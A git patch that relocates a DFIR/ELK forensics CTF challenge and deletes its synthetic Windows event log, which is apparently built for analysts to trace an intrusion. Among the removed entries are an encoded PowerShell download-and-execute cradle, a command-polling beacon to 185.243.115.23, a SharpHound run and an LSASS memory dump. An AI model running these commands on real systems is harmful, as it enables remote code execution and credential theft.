From e70a94489ac961cb00f21b1887d2e1be10c50731 Mon Sep 17 00:00:00 2001 From: Sarah Date: Mon, 20 Jul 2026 09:37:34 +0200 Subject: [PATCH 1/2] MAJ branche avec logs --- .../ctf-forensics-dfir-elk}/Dockerfile | 0 .../GUIDE_DEPLOIEMENT.md | 0 .../init/import_kibana.sh | 0 .../init/inject_logs.py | 0 .../pipeline/logstash.conf | 0 .../ctf-forensics-dfir-elk}/supervisord.conf | 0 .../logs/corp_incident.json | 224 ------------------ 7 files changed, 224 deletions(-) rename {ctf-forensics-dfir-elk => challenges/ctf-forensics-dfir-elk}/Dockerfile (100%) rename {ctf-forensics-dfir-elk => challenges/ctf-forensics-dfir-elk}/GUIDE_DEPLOIEMENT.md (100%) rename {ctf-forensics-dfir-elk => challenges/ctf-forensics-dfir-elk}/init/import_kibana.sh (100%) rename {ctf-forensics-dfir-elk => challenges/ctf-forensics-dfir-elk}/init/inject_logs.py (100%) rename {ctf-forensics-dfir-elk => challenges/ctf-forensics-dfir-elk}/pipeline/logstash.conf (100%) rename {ctf-forensics-dfir-elk => challenges/ctf-forensics-dfir-elk}/supervisord.conf (100%) delete mode 100644 ctf-forensics-dfir-elk/logs/corp_incident.json diff --git a/ctf-forensics-dfir-elk/Dockerfile b/challenges/ctf-forensics-dfir-elk/Dockerfile similarity index 100% rename from ctf-forensics-dfir-elk/Dockerfile rename to challenges/ctf-forensics-dfir-elk/Dockerfile diff --git a/ctf-forensics-dfir-elk/GUIDE_DEPLOIEMENT.md b/challenges/ctf-forensics-dfir-elk/GUIDE_DEPLOIEMENT.md similarity index 100% rename from ctf-forensics-dfir-elk/GUIDE_DEPLOIEMENT.md rename to challenges/ctf-forensics-dfir-elk/GUIDE_DEPLOIEMENT.md diff --git a/ctf-forensics-dfir-elk/init/import_kibana.sh b/challenges/ctf-forensics-dfir-elk/init/import_kibana.sh similarity index 100% rename from ctf-forensics-dfir-elk/init/import_kibana.sh rename to challenges/ctf-forensics-dfir-elk/init/import_kibana.sh diff --git a/ctf-forensics-dfir-elk/init/inject_logs.py b/challenges/ctf-forensics-dfir-elk/init/inject_logs.py similarity index 100% rename from ctf-forensics-dfir-elk/init/inject_logs.py rename to challenges/ctf-forensics-dfir-elk/init/inject_logs.py diff --git a/ctf-forensics-dfir-elk/pipeline/logstash.conf b/challenges/ctf-forensics-dfir-elk/pipeline/logstash.conf similarity index 100% rename from ctf-forensics-dfir-elk/pipeline/logstash.conf rename to challenges/ctf-forensics-dfir-elk/pipeline/logstash.conf diff --git a/ctf-forensics-dfir-elk/supervisord.conf b/challenges/ctf-forensics-dfir-elk/supervisord.conf similarity index 100% rename from ctf-forensics-dfir-elk/supervisord.conf rename to challenges/ctf-forensics-dfir-elk/supervisord.conf diff --git a/ctf-forensics-dfir-elk/logs/corp_incident.json b/ctf-forensics-dfir-elk/logs/corp_incident.json deleted file mode 100644 index d37d068..0000000 --- a/ctf-forensics-dfir-elk/logs/corp_incident.json +++ /dev/null @@ -1,224 +0,0 @@ -{"@timestamp":"2026-03-15T06:45:01.000Z","event_id":4624,"host":"WIN-ACCT01","user":"m.martin","logon_type":2,"source_ip":"192.168.10.45","description":"An account was successfully logged on","category":"Authentication"} -{"@timestamp":"2026-03-15T06:46:10.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"explorer.exe","parent_process":"userinit.exe","command_line":"C:\\Windows\\explorer.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T06:47:22.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"teams.exe","parent_process":"explorer.exe","command_line":"C:\\Users\\m.martin\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T06:48:05.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"52.113.194.132","dst_port":443,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T06:50:12.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T06:52:33.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_webapp","logon_type":5,"source_ip":"127.0.0.1","description":"Service account logon for IIS","category":"Authentication"} -{"@timestamp":"2026-03-15T06:53:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_webapp","process_name":"w3wp.exe","parent_process":"svchost.exe","command_line":"C:\\Windows\\System32\\inetsrv\\w3wp.exe -ap DefaultAppPool","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T06:55:14.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":8080,"protocol":"TCP","description":"Health check inbound from monitoring server","category":"Network"} -{"@timestamp":"2026-03-15T06:57:00.000Z","event_id":4624,"host":"DC01","user":"CORP\\srv_dc","logon_type":5,"source_ip":"127.0.0.1","description":"NETLOGON service logon on DC01","category":"Authentication"} -{"@timestamp":"2026-03-15T07:00:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested for LDAP","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:02:11.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"excel.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE budget_2026.xlsx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:04:30.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"13.107.42.14","dst_port":443,"protocol":"TCP","description":"Azure AD authentication outbound","category":"Network"} -{"@timestamp":"2026-03-15T07:05:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"a.leclerc","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon a.leclerc","category":"Authentication"} -{"@timestamp":"2026-03-15T07:06:14.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe --profile-directory=Default","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:07:45.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"172.217.18.142","dst_port":443,"protocol":"TCP","description":"Chrome HTTPS outbound to Google","category":"Network"} -{"@timestamp":"2026-03-15T07:09:00.000Z","event_id":4648,"host":"WIN-ACCT01","user":"p.bernard","target_user":"p.bernard","target_host":"APP-SRV01","logon_type":3,"description":"Explicit credentials logon to APP-SRV01","category":"Authentication"} -{"@timestamp":"2026-03-15T07:09:30.000Z","event_id":4624,"host":"APP-SRV01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard from workstation","category":"Authentication"} -{"@timestamp":"2026-03-15T07:10:01.000Z","event_id":4688,"host":"APP-SRV01","user":"p.bernard","process_name":"notepad.exe","parent_process":"explorer.exe","command_line":"notepad.exe C:\\inetpub\\wwwroot\\web.config","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:12:03.000Z","event_id":4624,"host":"WIN-ACCT01","user":"j.dupont","logon_type":2,"source_ip":"192.168.10.45","description":"An account was successfully logged on","category":"Authentication"} -{"@timestamp":"2026-03-15T07:13:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"outlook.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\OUTLOOK.EXE","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:14:22.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:15:10.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"142.250.74.46","dst_port":443,"protocol":"TCP","description":"HTTPS outbound Chrome","category":"Network"} -{"@timestamp":"2026-03-15T07:16:00.000Z","event_id":4769,"host":"DC01","user":"j.dupont","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:17:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"mstsc.exe","parent_process":"explorer.exe","command_line":"mstsc.exe /v:192.168.10.52","description":"RDP client launched toward APP-SRV01","category":"Process"} -{"@timestamp":"2026-03-15T07:17:40.000Z","event_id":4624,"host":"APP-SRV01","user":"a.leclerc","logon_type":10,"source_ip":"192.168.10.45","description":"Remote interactive (RDP) logon - a.leclerc","category":"Authentication"} -{"@timestamp":"2026-03-15T07:18:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"excel.exe","parent_process":"rdpclip.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE report_march.xlsx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:20:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.45","dst_port":443,"protocol":"TCP","description":"HTTPS inbound from workstation","category":"Network"} -{"@timestamp":"2026-03-15T07:21:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"msedge.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:22:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"40.101.91.160","dst_port":443,"protocol":"TCP","description":"Exchange Online HTTPS outbound","category":"Network"} -{"@timestamp":"2026-03-15T07:22:10.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"winword.exe","parent_process":"outlook.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE /n \"C:\\Users\\j.dupont\\AppData\\Local\\Temp\\Rapport_Q1_2026.docx\"","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:22:45.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"powershell.exe","parent_process":"winword.exe","command_line":"powershell.exe -NoP -NonI -W Hidden -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAY3QgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADgANQAuADIANAAzAC4AMQAxADUALgAyADMALwB1AHAAZABhAHQAZQAuAHAAcwAxACcAKQA=","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:22:48.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:22:49.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"powershell.exe","parent_process":"powershell.exe","command_line":"powershell.exe -ExecutionPolicy Bypass -File C:\\Users\\j.dupont\\AppData\\Roaming\\update.ps1","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:23:01.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:24:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"winword.exe","parent_process":"outlook.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE rapport_rh.docx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:25:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":88,"protocol":"Kerberos","description":"Kerberos TGT request to DC01","category":"Network"} -{"@timestamp":"2026-03-15T07:26:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"http/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:27:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-Service | Where-Object {$_.Status -eq 'Running'}","description":"Legitimate admin PowerShell command","category":"Process"} -{"@timestamp":"2026-03-15T07:28:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"SharpHound.exe","parent_process":"powershell.exe","command_line":"SharpHound.exe -c All --zipfilename loot.zip","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:28:15.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":389,"protocol":"LDAP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:28:16.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":389,"protocol":"LDAP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:28:17.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":389,"protocol":"LDAP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:28:30.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":389,"protocol":"LDAP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:28:45.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":636,"protocol":"LDAPS","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:29:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"f.petit","logon_type":2,"source_ip":"192.168.10.48","description":"Interactive logon f.petit","category":"Authentication"} -{"@timestamp":"2026-03-15T07:29:30.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":53,"protocol":"DNS","description":"DNS query to DC01","category":"Network"} -{"@timestamp":"2026-03-15T07:30:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_webapp","process_name":"msiexec.exe","parent_process":"svchost.exe","command_line":"C:\\Windows\\System32\\msiexec.exe /i patch_kb5030219.msi /quiet","description":"Scheduled Windows Update installation","category":"Process"} -{"@timestamp":"2026-03-15T07:30:22.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"rundll32.exe","parent_process":"powershell.exe","command_line":"rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump 624 C:\\Windows\\Temp\\lsass.dmp full","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:30:25.000Z","event_id":10,"host":"WIN-ACCT01","user":"j.dupont","source_process":"rundll32.exe","target_process":"lsass.exe","call_trace":"C:\\Windows\\SYSTEM32\\ntdll.dll+MiniDumpWriteDump","description":"Process accessed","category":"Process"} -{"@timestamp":"2026-03-15T07:31:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:32:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:33:00.000Z","event_id":4624,"host":"DC01","user":"a.admin","logon_type":2,"source_ip":"192.168.10.20","description":"Admin interactive logon to DC01","category":"Authentication"} -{"@timestamp":"2026-03-15T07:34:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"gpupdate.exe","parent_process":"cmd.exe","command_line":"gpupdate /force","description":"GPO update forced by admin","category":"Process"} -{"@timestamp":"2026-03-15T07:35:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.45","dst_port":445,"protocol":"SMB","description":"DC to workstation SMB","category":"Network"} -{"@timestamp":"2026-03-15T07:35:14.000Z","event_id":4648,"host":"WIN-ACCT01","user":"j.dupont","target_user":"svc_backup","target_host":"APP-SRV01","logon_type":3,"description":"Explicit credentials logon attempt","category":"Authentication"} -{"@timestamp":"2026-03-15T07:35:18.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_backup","logon_type":3,"source_ip":"192.168.10.45","description":"An account was successfully logged on","category":"Authentication"} -{"@timestamp":"2026-03-15T07:36:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":636,"protocol":"LDAPS","description":"Secure LDAP from monitoring server","category":"Network"} -{"@timestamp":"2026-03-15T07:37:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:38:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-ADUser -Filter * | Select-Object Name,SamAccountName","description":"Legitimate AD query by admin","category":"Process"} -{"@timestamp":"2026-03-15T07:39:00.000Z","event_id":4624,"host":"APP-SRV01","user":"m.martin","logon_type":3,"source_ip":"192.168.10.45","description":"Network logon m.martin","category":"Authentication"} -{"@timestamp":"2026-03-15T07:40:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:41:00.000Z","event_id":4688,"host":"APP-SRV01","user":"m.martin","process_name":"notepad.exe","parent_process":"explorer.exe","command_line":"notepad.exe C:\\inetpub\\wwwroot\\config.xml","description":"Config file viewed","category":"Process"} -{"@timestamp":"2026-03-15T07:42:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.47","dst_port":443,"protocol":"TCP","description":"HTTPS request from p.bernard workstation","category":"Network"} -{"@timestamp":"2026-03-15T07:43:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"dsa.msc","parent_process":"mmc.exe","command_line":"dsa.msc","description":"Active Directory Users and Computers console opened","category":"Process"} -{"@timestamp":"2026-03-15T07:44:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:45:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_webapp","process_name":"iisreset.exe","parent_process":"cmd.exe","command_line":"iisreset /restart","description":"IIS restart scheduled maintenance","category":"Process"} -{"@timestamp":"2026-03-15T07:46:00.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_webapp","logon_type":5,"source_ip":"127.0.0.1","description":"Service re-logon after IIS restart","category":"Authentication"} -{"@timestamp":"2026-03-15T07:47:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"216.58.213.142","dst_port":443,"protocol":"TCP","description":"HTTPS to Google services","category":"Network"} -{"@timestamp":"2026-03-15T07:48:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"p.bernard","logon_type":2,"source_ip":"192.168.10.47","description":"Interactive logon p.bernard","category":"Authentication"} -{"@timestamp":"2026-03-15T07:49:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"winword.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE contrat_fournisseur.docx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:50:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:51:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:52:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"powershell.exe","parent_process":"rdpclip.exe","command_line":"powershell.exe Get-Process | Sort-Object CPU -Descending | Select-Object -First 10","description":"Legitimate admin PS command via RDP","category":"Process"} -{"@timestamp":"2026-03-15T07:53:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.52","dst_port":445,"protocol":"SMB","description":"DC replication SMB to APP-SRV01","category":"Network"} -{"@timestamp":"2026-03-15T07:54:00.000Z","event_id":4624,"host":"DC01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard to DC01 for GPO","category":"Authentication"} -{"@timestamp":"2026-03-15T07:55:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:56:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe --profile-directory=Default","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:57:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:58:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":443,"protocol":"TCP","description":"Monitoring health check HTTPS","category":"Network"} -{"@timestamp":"2026-03-15T07:59:00.000Z","event_id":4624,"host":"APP-SRV01","user":"f.petit","logon_type":3,"source_ip":"192.168.10.48","description":"Network logon f.petit","category":"Authentication"} -{"@timestamp":"2026-03-15T08:00:00.000Z","event_id":4688,"host":"APP-SRV01","user":"f.petit","process_name":"notepad.exe","parent_process":"explorer.exe","command_line":"notepad.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T08:02:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:05:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"outlook.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\OUTLOOK.EXE","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T08:06:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"40.101.91.160","dst_port":443,"protocol":"TCP","description":"Exchange Online connection","category":"Network"} -{"@timestamp":"2026-03-15T08:08:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"http/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T08:10:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:11:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"a.leclerc","logon_type":3,"source_ip":"192.168.10.50","description":"Network logon from monitoring server","category":"Authentication"} -{"@timestamp":"2026-03-15T08:12:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.47","dst_port":389,"protocol":"LDAP","description":"LDAP query from p.bernard workstation","category":"Network"} -{"@timestamp":"2026-03-15T08:15:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"excel.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE rapport_ventes_mars.xlsx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T08:16:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T08:18:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:20:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"powershell.exe","parent_process":"rdpclip.exe","command_line":"powershell.exe Restart-Service -Name W3SVC","description":"IIS restart via PowerShell","category":"Process"} -{"@timestamp":"2026-03-15T08:22:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.45","dst_port":8080,"protocol":"TCP","description":"HTTP inbound request","category":"Network"} -{"@timestamp":"2026-03-15T08:24:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"j.dupont","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon j.dupont","category":"Authentication"} -{"@timestamp":"2026-03-15T08:25:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:26:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"powershell.exe","parent_process":"powershell.exe","command_line":"powershell.exe -NoP -NonI -W Hidden -c \"$c=[System.Net.WebClient]::new();while($true){$r=$c.DownloadString('http://185.243.115.23/cmd');if($r -ne ''){Invoke-Expression $r};Start-Sleep 300}\"","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T08:30:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:32:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T08:35:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"repadmin.exe","parent_process":"cmd.exe","command_line":"repadmin /replsummary","description":"Replication status check by admin","category":"Process"} -{"@timestamp":"2026-03-15T08:37:00.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_webapp","logon_type":5,"source_ip":"127.0.0.1","description":"Service account periodic logon","category":"Authentication"} -{"@timestamp":"2026-03-15T08:40:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:42:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":88,"protocol":"Kerberos","description":"Kerberos TGT renewal","category":"Network"} -{"@timestamp":"2026-03-15T08:44:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T08:46:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"msedge.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe --new-window","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T08:48:00.000Z","event_id":4624,"host":"APP-SRV01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard to APP-SRV01","category":"Authentication"} 